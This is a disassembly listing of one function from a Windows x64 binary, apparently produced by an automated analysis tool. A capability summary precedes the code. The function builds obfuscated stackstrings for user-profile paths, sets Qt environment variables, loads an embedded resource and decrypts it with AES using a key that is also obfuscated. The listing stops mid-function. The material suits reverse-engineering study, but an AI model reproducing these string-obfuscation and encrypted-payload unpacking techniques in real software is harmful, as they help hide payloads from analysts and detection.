Function at 0x140004d40
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions
Get session user name
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14008b450]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor r13d, r13d
mov dword [rbp + 0x240], r13d
mov word [rbp + 0x24d], 0x6f7a
mov word [rbp + 0x243], 0x6d56
mov dword [rbp + 0x252], 0x71716867
mov dword [rbp + 0x248], 0x65746f
mov word [rbp + 0x246], 0x6d65
mov word [rbp + 0x250], 0x7666
mov word [rbp + 0x240], 0x3a43
mov byte [rbp + 0x242], 0x2f
mov byte [rbp + 0x245], 0x52
mov byte [rbp + 0x24f], 0x77
mov byte [rbp + 0x24c], 0x77
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
lea rax, [rbp + 0x240]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], r13b
jne 0x140004e01
lea rdx, [rbp + 0x240]
lea rcx, [rsp + 0x68]
call fcn.140007c70
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rax, qword [rsp + 0x68]
mov qword [rbp + 0x240], rax
mov rax, qword [rsp + 0x78]
mov qword [rbp + 0x248], rax
call fcn.140033404
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea r8, [rbp + 0x240]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.140001c30
mov edi, 3
lea rcx, [rsp + 0x48]
call fcn.140002880
test al, al
jne 0x140004f65
mov word [rbp + 0x24c], 0x686d
mov word [rbp + 0x254], 0x7562
mov dword [rbp + 0x247], 0x72656e6e
mov dword [rbp + 0x240], 0x562f3a43
mov dword [rbp + 0x24f], 0x6373676c
mov byte [rbp + 0x24e], 0x6a
mov word [rbp + 0x245], 0x7552
mov byte [rbp + 0x244], 0x4d
mov byte [rbp + 0x24b], r13b
mov byte [rbp + 0x253], 0x71
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
lea rax, [rbp + 0x240]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140004ef0
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x78]
call fcn.140007c70
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rax, qword [rbp - 0x78]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp - 0x68]
mov qword [rbp + 0x248], rax
call fcn.140033404
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea r8, [rbp + 0x240]
mov edx, eax
lea rcx, [rbp - 0x58]
call fcn.140001c30
mov edi, 0xf
lea rcx, [rbp - 0x58]
call fcn.140002880
test al, al
jne 0x140004f65
xor bl, bl
jmp 0x140004f6d
mov bl, 1
test dil, 8
je 0x140004fc1
and edi, 0xfffffff7
mov rdx, qword [rbp - 0x40]
cmp rdx, 8
jb 0x140004fb0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006150
call fcn.140034078
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], 7
mov word [rbp - 0x58], r13w
test dil, 4
je 0x140005015
and edi, 0xfffffffb
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140005005
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005000
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006150
call fcn.140034078
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], r13b
and edi, 0xfffffffd
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14000505a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005055
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006150
call fcn.140034078
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r13w
and edi, 0xfffffffe
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400050ad
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006150
call fcn.140034078
test bl, bl
jne 0x140006156
mov dword [rbp + 8], 0x101
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x290]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], r13
lea rax, [rbp + 0x290]
mov r8, r12
inc r8
cmp byte [rax + r8], r13b
jne 0x1400050e6
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x50]
call fcn.140007c70
mov dword [rbp + 0x249], 0x6d646e00
mov dword [rbp + 0x245], 0x2f737265
mov dword [rbp + 0x240], 0x552f3a43
mov dword [rbp + 0x24e], 0x7564796b
mov byte [rbp + 0x244], 0x73
mov byte [rbp + 0x24d], 0x6d
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r13
lea rax, [rbp + 0x240]
mov r8, r12
inc r8
cmp byte [rax + r8], r13b
jne 0x140005151
lea rdx, [rbp + 0x240]
lea rcx, [rsp + 0x48]
call fcn.140007c70
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.1400075d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400051f1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000615e
call fcn.140034078
mov dword [rbp + 0x262], 0x61447070
mov dword [rbp + 0x282], 0x78726d64
mov dword [rbp + 0x279], 0x686a7768
mov word [rbp + 0x26e], 0x4a2f
mov dword [rbp + 0x271], 0x6a002f6e
mov dword [rbp + 0x27e], 0x706b706b
mov dword [rbp + 0x275], 0x7567776e
mov dword [rbp + 0x26a], 0x6c61636f
mov word [rbp + 0x260], 0x412f
mov dword [rbp + 0x266], 0x4c2f6174
mov byte [rbp + 0x270], 0x69
mov byte [rbp + 0x27d], 0x61
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
lea rax, [rbp + 0x260]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140005280
lea rdx, [rbp + 0x260]
lea rcx, [rsp + 0x68]
call fcn.140007c70
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
lea rcx, [rbp - 0x38]
call fcn.1400075d0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400052f4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
lea r8, [0x14007e760]
mov edx, 2
lea rcx, [rbp + 0xc]
call fcn.140043000
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rax, qword [rbp - 0x38]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x248], rax
call fcn.140033404
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea r8, [rbp + 0x240]
mov edx, eax
lea rcx, [rbp - 0x58]
call fcn.140001c30
or edi, 0x10
lea rcx, [rbp - 0x58]
call fcn.140002770
test al, al
je 0x1400053bb
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rax, qword [rbp - 0x38]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x248], rax
call fcn.140033404
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea r8, [rbp + 0x240]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.140001c30
or edi, 0x20
lea rcx, [rsp + 0x48]
call fcn.140002880
test al, al
je 0x1400053bb
mov bl, 1
jmp 0x1400053bd
xor bl, bl
test dil, 0x20
je 0x140005419
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140005405
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005400
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006164
call fcn.140034078
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], r13w
mov rdx, qword [rbp - 0x40]
cmp rdx, 8
jb 0x140005459
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005454
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006164
call fcn.140034078
test bl, bl
je 0x140005477
lea r8, [0x14007e764]
mov edx, 2
lea rcx, [rbp + 0xc]
call fcn.140043000
jmp 0x140005522
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rax, qword [rbp - 0x38]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x248], rax
call fcn.140033404
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea r8, [rbp + 0x240]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.140001c30
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call fcn.140033540
shr rax, 0x20
test eax, eax
jne 0x14000616a
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140005522
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000551d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000617e
call fcn.140034078
mov rdi, qword [rbp - 0x28]
lea r15, [rbp - 0x38]
mov rax, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x20]
cmp rcx, 0x10
cmovae r15, rax
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x14000614a
cmp rdi, 0x10
jae 0x140005560
mov esi, 0xf
mov r14, qword [r15]
jmp 0x1400055ea
mov rsi, rdi
or rsi, 0xf
cmp rsi, rbx
jbe 0x140005571
mov rsi, rbx
jmp 0x14000557d
mov eax, 0x16
cmp rsi, rax
cmovb rsi, rax
mov rcx, rsi
add rcx, 1
cmovb rcx, r12
cmp rcx, 0x1000
jb 0x1400055bd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006184
mov rcx, rax
call fcn.14003403c
test rax, rax
je 0x140006144
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400055cf
test rcx, rcx
je 0x1400055cc
call fcn.14003403c
mov r14, rax
jmp 0x1400055cf
mov r14, r13
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, r14
call fcn.140035e80
mov rcx, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x28]
mov rax, qword [rbp - 0x38]
sub rbx, rdi
cmp rbx, 9
jb 0x14000614a
lea r9, [rbp - 0x38]
cmp rcx, 0x10
cmovae r9, rax
mov qword [rsp + 0x30], 9
lea rax, str.resources
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.140008530
mov word [rbp + 0x267], 0x6967
mov word [rbp + 0x273], 0x7865
mov word [rbp + 0x287], 0x6664
mov dword [rbp + 0x279], 0x77736d63
mov dword [rbp + 0x260], 0x65577451
mov word [rbp + 0x270], 0x7373
mov word [rbp + 0x264], 0x4562
mov word [rbp + 0x28a], 0x7062
mov dword [rbp + 0x283], 0x70697577
mov dword [rbp + 0x27e], 0x786d6b78
mov byte [rbp + 0x266], 0x6e
mov byte [rbp + 0x282], 0x76
mov dword [rbp + 0x26b], 0x636f7250
mov word [rbp + 0x276], 0x6f00
mov byte [rbp + 0x272], 0x2e
mov byte [rbp + 0x278], 0x62
mov word [rbp + 0x269], 0x656e
mov byte [rbp + 0x27d], 0x64
mov byte [rbp + 0x289], 0x74
mov byte [rbp + 0x26f], 0x65
mov byte [rbp + 0x275], 0x65
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r13
lea rax, [rbp + 0x260]
mov r8, r12
inc r8
cmp byte [rax + r8], r13b
jne 0x140005700
lea rdx, [rbp + 0x260]
lea rcx, [rsp + 0x48]
call fcn.140007c70
lea r8, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r8, qword [rbp - 0x38]
mov r9, qword [rbp - 0x28]
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.140008240
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400057a2
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000579d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000618a
call fcn.140034078
lea rdi, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rdi, qword [rbp - 0x38]
mov dword [rbp + 0x241], 0x485441
mov byte [rbp + 0x240], 0x50
mov word [rbp + 0x246], 0x7379
mov byte [rbp + 0x245], 0x65
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
lea rax, [rbp + 0x240]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400057f0
lea rdx, [rbp + 0x240]
lea rcx, [rsp + 0x68]
call fcn.140007c70
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x140005892
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rdx, qword [rbp - 0x38]
lea rcx, str.QT_PLUGIN_PATH
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x140005892
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0x10
cmovae rdx, qword [rbp + 0xb0]
lea rcx, str.QTWEBENGINE_RESOURCES_PATH
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x140005892
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
lea rcx, str.QTWEBENGINEPROCESS_PATH
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x140005892
xor dil, dil
jmp 0x140005895
mov dil, 1
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400058d1
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006190
call fcn.140034078
test dil, dil
jne 0x140006196
lea r8, [0x14007e7c8]
mov edx, 0x33b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r15d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
mov word [rbp + 0x245], 0x7636
mov dword [rbp + 0x240], 0x3370596b
mov dword [rbp + 0x24c], 0x40482945
mov dword [rbp + 0x258], 0x62757876
mov dword [rbp + 0x253], 0x79727a76
mov dword [rbp + 0x247], 0x42247939
mov word [rbp + 0x251], 0x6d67
mov dword [rbp + 0x25c], 0x74736c71
mov byte [rbp + 0x24b], 0x26
mov byte [rbp + 0x244], 0x73
mov byte [rbp + 0x250], r13b
mov byte [rbp + 0x257], 0x6e
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
lea rax, [rbp + 0x240]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x1400059a0
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x18]
call fcn.140007c70
mov dword [rbp + 0x256], 0x63746863
mov dword [rbp + 0x246], 0x644e614a
mov dword [rbp + 0x25b], 0x70627277
mov dword [rbp + 0x24b], 0x586b5567
mov dword [rbp + 0x241], 0x472a4425
mov word [rbp + 0x251], 0x6463
mov word [rbp + 0x254], 0x716e
mov word [rbp + 0x24f], 0x70
mov byte [rbp + 0x25a], 0x6c
mov byte [rbp + 0x25f], 0x77
mov byte [rbp + 0x240], 0x41
mov byte [rbp + 0x245], 0x2d
mov byte [rbp + 0x24a], 0x52
mov byte [rbp + 0x253], 0x63
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r13
lea rax, [rbp + 0x240]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140005a50
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x10]
call fcn.140007c70
mov rdi, qword [rbp - 8]
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xd0]
call fcn.140036520
mov dl, 1
lea rcx, [rbp + 0x170]
call fcn.140009400
movabs rax, 0x3fffffffffffffff
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], r13
mov qword [rbp + 0x1a0], r13
mov qword [rbp + 0x1b0], 0xffffffffffffffff
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], r13
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov qword [rbp + 0x168], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
mov qword [rbp + 0x170], rax
mov dl, 1
lea rcx, [rbp + 0xd8]
call fcn.140009400
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xf0], 0xffffffffffffffff
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x118], 0xffffffffffffffff
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x128], r13
mov dl, 1
lea rcx, [rbp + 0x130]
call fcn.140009400
mov qword [rbp + 0x140], 0xffffffffffffffff
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], r13
lea rax, [0x14007e968]
mov qword [rbp + 0xd0], rax
lea rax, [0x14007e8b8]
mov qword [rbp + 0xd8], rax
lea rax, [0x14007ea10]
mov qword [rbp + 0x108], rax
lea rax, [0x14007eab8]
mov qword [rbp + 0x130], rax
lea rax, [rbp + 0x168]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0xd0]
call fcn.14000e960
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae r9, qword [rbp + 0x10]
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rdx, qword [rbp - 0x18]
mov qword [rsp + 0x20], rdi
mov r8, rdi
lea rcx, [rbp + 0xd0]
call fcn.14000ac70
lea rdi, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rdi, qword [rbp - 0x18]
xor eax, eax
mov rcx, qword [rbp - 8]
rep stosb byte [rdi], al
lea rdi, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdi, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x20]
rep stosb byte [rdi], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], al
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
mov ecx, 0xe0
call fcn.14003403c
mov rbx, rax
xor edx, edx
mov r8d, 0xe0
mov rcx, rax
call fcn.140036520
mov ecx, 0x20
call fcn.14003403c
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
xor edx, edx
mov rcx, rax
call fcn.140009400
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov qword [rdi], rax
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
mov qword [rdi + 8], rax
lea rax, [rbp + 0x70]
mov qword [rdi + 0x18], rax
mov r9d, 5
mov r8, rdi
lea rdx, [rbp + 0xd8]
mov rcx, rbx
call fcn.14000c450
mov qword [rsp + 0x20], rax
mov r8, r15
mov rdx, r12
lea rcx, [rbp + 0x1d0]
call fcn.140003ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], r13b
lea r9, [rsp + 0x48]
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.140004180
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140005d4c
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006272
call fcn.140034078
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
call fcn.140004ac0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140005da9
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005da4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], r13b
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
mov qword [rbp + 0x1d0], rax
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
mov qword [rbp + 0x1d8], rax
mov rcx, qword [rbp + 0x1e8]
test rcx, rcx
je 0x140005df4
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140005e32
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], r13b
lea rax, [0x140069ca8]
mov qword [rbp + 0xd0], rax
lea rax, [0x140069d50]
mov qword [rbp + 0xd8], rax
lea rax, [0x140069dd8]
mov qword [rbp + 0x108], rax
lea rax, [0x140069e48]
mov qword [rbp + 0x130], rax
mov rcx, qword [rbp + 0x148]
cmp qword [rbp + 0x140], rcx
cmovb rcx, qword [rbp + 0x140]
mov rdx, qword [rbp + 0x150]
test rdx, rdx
je 0x140005eb2
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call fcn.140010150
nop
mov rcx, qword [rbp + 0x120]
cmp qword [rbp + 0x118], rcx
cmovb rcx, qword [rbp + 0x118]
mov rdx, qword [rbp + 0x128]
test rdx, rdx
je 0x140005ee4
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call fcn.1400101d0
nop
mov rcx, qword [rbp + 0xf8]
cmp qword [rbp + 0xf0], rcx
cmovb rcx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0x100]
test rdx, rdx
je 0x140005f16
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call fcn.1400101d0
nop
lea rcx, [rbp + 0x168]
call fcn.140006280
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140005f5d
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140005fa8
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
mov qword [rbp - 8], r13
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140005ff3
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140006044
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000603f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
cmp rsi, 0x10
jb 0x140006094
lea rdx, [rsi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000608c
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
mov rcx, r14
call fcn.140034078
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x1400060cb
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006144
call fcn.140034078
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140006112
inc rdx
